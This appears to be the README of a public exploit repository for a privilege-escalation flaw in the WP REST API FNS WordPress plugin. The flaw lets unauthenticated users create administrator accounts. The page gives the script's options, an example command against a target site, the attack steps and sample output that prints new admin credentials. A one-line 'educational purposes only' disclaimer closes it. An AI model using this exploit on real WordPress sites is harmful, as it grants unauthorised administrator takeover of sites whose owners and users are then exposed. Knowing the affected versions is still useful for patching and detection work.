nxploited/cve-2024-49328-exploitPython script to exploit a privilege escalation vulnerability in the WP REST API FNS WordPress plugin, allowing unauthenticated creation of administrator accounts.
This script exploits a privilege escalation vulnerability in the WP REST API FNS Plugin for WordPress. The vulnerability affects all versions up to and including 1.0.0, allowing unauthenticated attackers to gain administrator privileges.
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress site
-e NEWEMAIL, --Newemail NEWEMAIL New email to register
-p PASSWORD, --password PASSWORD Password for the new user
Example Command:
python CVE-2024-49328.py -u http://targetsite.com -e [email protected] -p password123
| Step | Description | Icon |
|---|---|---|
| Step 1 | Verify the version of the plugin. | 📝 |
| Step 2 | Check if the version is exploitable (1.0.0, or lower). | ✅ |
| Step 3 | Exploit the vulnerability and register a new admin user. | 🔒 |
| Step 4 | Print the result with user credentials for verification. | 🎉 |
Found Stable tag version: 1.0.0
Version 1.0.0 is exploitable.
Exploiting the site... Please wait.
Successfully
Username: [email protected]
Password: nxploit
pip install requests
🚨 Warning:
This script is for educational purposes only. Unauthorized use of this script against systems without explicit permission is illegal and unethical.